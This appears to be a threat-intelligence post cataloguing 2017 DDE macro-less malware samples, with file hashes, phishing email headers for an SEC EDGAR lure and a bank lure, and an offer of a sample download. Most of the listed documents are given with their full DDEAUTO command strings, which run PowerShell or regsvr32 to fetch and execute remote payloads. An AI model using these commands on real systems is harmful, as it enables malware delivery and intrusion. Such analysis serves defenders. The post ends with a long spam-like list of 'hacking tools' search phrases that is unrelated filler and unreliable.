DDE Command Execution Malware Samples

Here are a few samples related to the recent DDE Command execution

DDE Macro-less Command Execution Vulnerability

 Download. Email me if you need the password  (updated sample pack)

Links updated: Jan 20, 2023

References

Reading:
10/18/2017 InQuest/yara-rules 

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure 

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild 

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger 

10/10/2017  NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

 Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])

by m0049925.ppops.net with ESMTP id 2dhb488ej6-1

(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)

for <snip>; Wed, 11 Oct 2017 00:09:20 -0400

Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)

(envelope-from <EDGAR@sec.gov>)

id 1e28HE-0001S5-Ew

for <snip>; Wed, 11 Oct 2017 00:05:48 -0400

To: <snip>

Subject: EDGAR Filings

X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75

X-PHP-Originating-Script: 658:class.phpmailer.php

Date: Wed, 11 Oct 2017 04:05:48 +0000

From: EDGAR <EDGAR@sec.gov>

Reply-To: EDGAR <EDGAR@sec.gov>

Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>

X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com

X-AntiAbuse: Original Domain - nu.com

X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]

X-AntiAbuse: Sender Address Domain - sec.gov

X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed

X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo

X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp

X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php

X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples

X-CLX-Shades: Junk

X-CLX-Response: <snip>

X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,

 signatures=0

X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0

 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262

 lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk

 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000

 definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: multipart/alternative;

boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>

--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>

--b1_7608a3de5fe6c9bf7df6782a8aa9790f--

for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

Received: from VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) by

 AM4PR08MB2659.eurprd08.prod.outlook.com (10.171.190.148) with Microsoft SMTP

 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

 15.20.77.7 via Mailbox Transport; Thu, 12 Oct 2017 10:45:16 +0000

Received: from DB6PR0802MB2600.eurprd08.prod.outlook.com (10.172.252.17) by

 VI1PR08MB2670.eurprd08.prod.outlook.com (10.175.245.20) with Microsoft SMTP

 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id

 15.20.77.7; Thu, 12 Oct 2017 10:45:15 +0000

Received: from VI1PR0802CA0047.eurprd08.prod.outlook.com

 (2603:10a6:800:a9::33) by DB6PR0802MB2600.eurprd08.prod.outlook.com

 (2603:10a6:4:a2::17) with Microsoft SMTP Server (version=TLS1_2,

 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7; Thu, 12 Oct

 2017 10:45:14 +0000

Received: from DB3FFO11FD006.protection.gbl (2a01:111:f400:7e04::133) by

 VI1PR0802CA0047.outlook.office365.com (2603:10a6:800:a9::33) with Microsoft

 SMTP Server (version=TLS1_2,

 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.77.7 via Frontend

 Transport; Thu, 12 Oct 2017 10:45:14 +0000

Received: from za-hybrid.mail.standardbank.com (147.152.120.47) by

 DB3FFO11FD006.mail.protection.outlook.com (10.47.216.95) with Microsoft SMTP

 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id

 15.20.77.10 via Frontend Transport; Thu, 12 Oct 2017 10:45:12 +0000

Received: from <snip> (10.234.178.186) by

 <snip>(10.144.20.58) with Microsoft SMTP

 Server (TLS) id 14.3.339.0; Thu, 12 Oct 2017 12:44:35 +0200

Received: from <snip> (10.234.174.102) by

 <snip> with Microsoft SMTP Server

 id 8.3.389.2; Thu, 12 Oct 2017 11:43:42 +0100

Received: from cluster-a.mailcontrol.com (unknown [85.115.52.190]) by

 Forcepoint Email with ESMTPS id AC3EDEB6D852BD348649; Thu, 12 Oct 2017

 11:43:38 +0100 (CET)

Received: from rly14a.srv.mailcontrol.com (localhost [127.0.0.1]) by

 rly14a.srv.mailcontrol.com (MailControl) with ESMTP id v9CAhaCs039950; Thu,

 12 Oct 2017 11:43:36 +0100

Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by

 rly14a.srv.mailcontrol.com (MailControl) id v9CAhaRp039947; Thu, 12 Oct 2017

 11:43:36 +0100

Received: from mx1.ssl-secure-mail.com (mx1.ssl-secure-mail.com

 [188.166.157.242]) by rly14a-eth0.srv.mailcontrol.com (envelope-sender

 <Emmanuel.Chatta@stadnardbank.co.za>) (MIMEDefang) with ESMTP id

 v9CAhZoc039719 (TLS bits=256 verify=NO); Thu, 12 Oct 2017 11:43:36 +0100

 (BST)

Received: from authenticated-user (mx1.ssl-secure-mail.com [188.166.157.242])

(using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client

 certificate requested) by mx1.ssl-secure-mail.com (Postfix) with ESMTPSA id

 571CD1511D4; Thu, 12 Oct 2017 06:43:35 -0400 (EDT)

From: Emmanuel Chatta <Emmanuel.Chatta@stadnardbank.co.za>

To: <snip>

Subject: Document

Thread-Topic: Document

Thread-Index: AQHTQ0cx2UbfjWEaCEK0bdQsLAkUYA==

Date: Thu, 12 Oct 2017 10:43:35 +0000

Message-ID: <f8c34a32397e02274fd65930045f0204@ssl-secure-mail.com>

Content-Language: en-US

X-MS-Exchange-Organization-AuthSource: <snip>

X-MS-Has-Attach: yes

X-MS-TNEF-Correlator:

received-spf: Fail (protection.outlook.com: domain of <snip> does

 not designate 147.152.120.47 as permitted sender)

 receiver=protection.outlook.com; client-ip=147.152.120.47;

 helo=<snip>;

x-scanned-by: MailControl 44278.1987 (www.mailcontrol.com) on 10.65.1.124

x-mailcontrol-inbound: 4HEeExWtV!H1jiRXZJTT7wjEcFneOidAa+WVdv9sScH43ayzJcnLn4fvVkSq3YGx

x-ms-publictraffictype: Email

X-Microsoft-Exchange-Diagnostics: 1;AM4PR08MB2659;27:42C8MVC/6E4KnuK79xnDQihs/aWUnFSYSvMpUq/ZWFgliSK+uNXwEUaalqg0K4Ukdn7mPjI/6bOflK6H4WqZhQpH28iVAkhECXI6saRJPgqIf8Vn6JKx/rSyKhnUCz+c

Content-Type: multipart/mixed;

boundary="_002_f8c34a32397e02274fd65930045f0204sslsecuremailcom_"

MIME-Version: 1.0

More information

1. Hacking Tools For Games
2. Hacker Tools Apk
3. Beginner Hacker Tools
4. Pentest Tools For Ubuntu
5. Wifi Hacker Tools For Windows
6. Hack Tools For Ubuntu
7. Hacker
8. World No 1 Hacker Software
9. Pentest Tools Find Subdomains
10. Pentest Tools Website
11. How To Make Hacking Tools
12. Growth Hacker Tools
13. Hak5 Tools
14. How To Install Pentest Tools In Ubuntu
15. Hacker Techniques Tools And Incident Handling
16. Hacking Tools For Pc
17. Hacking App
18. Usb Pentest Tools
19. Pentest Box Tools Download
20. Blackhat Hacker Tools
21. Hacker Tools Apk
22. Pentest Tools Open Source
23. Tools 4 Hack
24. How To Make Hacking Tools
25. Best Hacking Tools 2019
26. How To Install Pentest Tools In Ubuntu
27. Hacking Tools 2019
28. Hacker Tools Free Download
29. Hacker Tools 2019
30. Hacking Tools Name
31. Hacker
32. Pentest Reporting Tools
33. Pentest Tools For Windows
34. Pentest Recon Tools
35. Pentest Tools Nmap
36. Pentest Tools Alternative
37. Pentest Tools Nmap
38. Physical Pentest Tools
39. Hackrf Tools
40. Hacker Tools List
41. Pentest Tools For Mac
42. Hack And Tools
43. Hacking Tools Software
44. Hack Tools For Pc
45. Hak5 Tools
46. Blackhat Hacker Tools
47. Hack Tools
48. Hacking App
49. Computer Hacker
50. Pentest Tools
51. Pentest Tools Find Subdomains
52. Hack Tool Apk No Root
53. Hacking Tools For Windows Free Download
54. Hacker Tools List
55. Pentest Tools For Android
56. Hacking Tools Free Download
57. Wifi Hacker Tools For Windows
58. Hack Tools Download
59. Pentest Tools Website
60. Pentest Tools For Ubuntu
61. Hack Tools Online
62. Pentest Tools Bluekeep
63. Pentest Tools Url Fuzzer
64. Hack Tools
65. Kik Hack Tools
66. Hacker Tools
67. Usb Pentest Tools
68. Physical Pentest Tools
69. Hack Tool Apk
70. Hacking Tools Pc
71. Hacker Tools Free
72. Hacking Tools And Software
73. Hacking Tools For Mac
74. Pentest Tools For Windows
75. Pentest Tools Find Subdomains
76. Hacking Tools For Games
77. Pentest Tools Framework
78. Hacking Tools For Mac
79. Hack Tools
80. Android Hack Tools Github
81. Hacking Tools For Windows 7
82. Pentest Tools Port Scanner
83. Hacking Tools For Windows 7
84. Hacker Tools List
85. Hacker Security Tools
86. Termux Hacking Tools 2019
87. What Is Hacking Tools
88. Best Pentesting Tools 2018
89. New Hacker Tools
90. Hacking Tools
91. Hacking Tools For Games
92. Pentest Tools Open Source
93. Hacking Tools Windows 10
94. Hacker Tools Github
95. Hacking Tools Github
96. Hacking Apps
97. Usb Pentest Tools
98. Hacker Search Tools
99. Hacker Tools Free Download
100. Hacker Tools Hardware
101. Pentest Recon Tools
102. Hacking Tools For Windows
103. Nsa Hack Tools Download
104. Hacker Tools Software
105. Hack Tools 2019
106. Pentest Tools Bluekeep
107. Pentest Tools Review
108. How To Install Pentest Tools In Ubuntu
109. Pentest Tools Download
110. Hacking Tools
111. Hacker Tools 2019
112. Hacker Tools Windows
113. Pentest Tools For Ubuntu
114. Hacking Tools
115. Best Hacking Tools 2020
116. Tools Used For Hacking
117. Pentest Tools Subdomain
118. Android Hack Tools Github
119. Best Hacking Tools 2019
120. Pentest Box Tools Download
121. Nsa Hack Tools Download
122. Hacking Tools For Pc
123. Top Pentest Tools
124. Hacker Tools Apk Download
125. Pentest Tools Windows
126. Hacking Tools For Games
127. Hacker Tools For Ios
128. Hack Tool Apk No Root
129. Pentest Tools
130. Underground Hacker Sites
131. Hacking Tools And Software
132. Free Pentest Tools For Windows
133. Hacking Tools For Mac
134. Pentest Tools Alternative
135. Hack Tools For Games
136. Pentest Tools For Ubuntu
137. Hack Tools For Games
138. Hacking Tools Download
139. Hack And Tools
140. Best Hacking Tools 2020
141. Hacker Tools 2019
142. Hack Tools Online
143. Pentest Tools Online
144. Easy Hack Tools
145. Hacking Tools Kit
146. Pentest Tools Apk
147. Hacking Tools Windows 10
148. Hacking Tools Pc
149. Black Hat Hacker Tools
150. Pentest Tools For Android
151. Hacker Tools For Ios
152. Hacker Tools List
153. Hacker Tools Online
154. Hacking Tools Name
155. Hacker Tools For Mac
156. Pentest Box Tools Download
157. Ethical Hacker Tools
158. Hacker Tools Github
159. Hacker Tools For Ios
160. Hack Tool Apk
161. Pentest Tools Framework
162. Hack Tools For Windows
163. What Is Hacking Tools
164. Tools For Hacker
165. Game Hacking
166. Hack Rom Tools
167. Hacking Tools Free Download
168. Pentest Tools Linux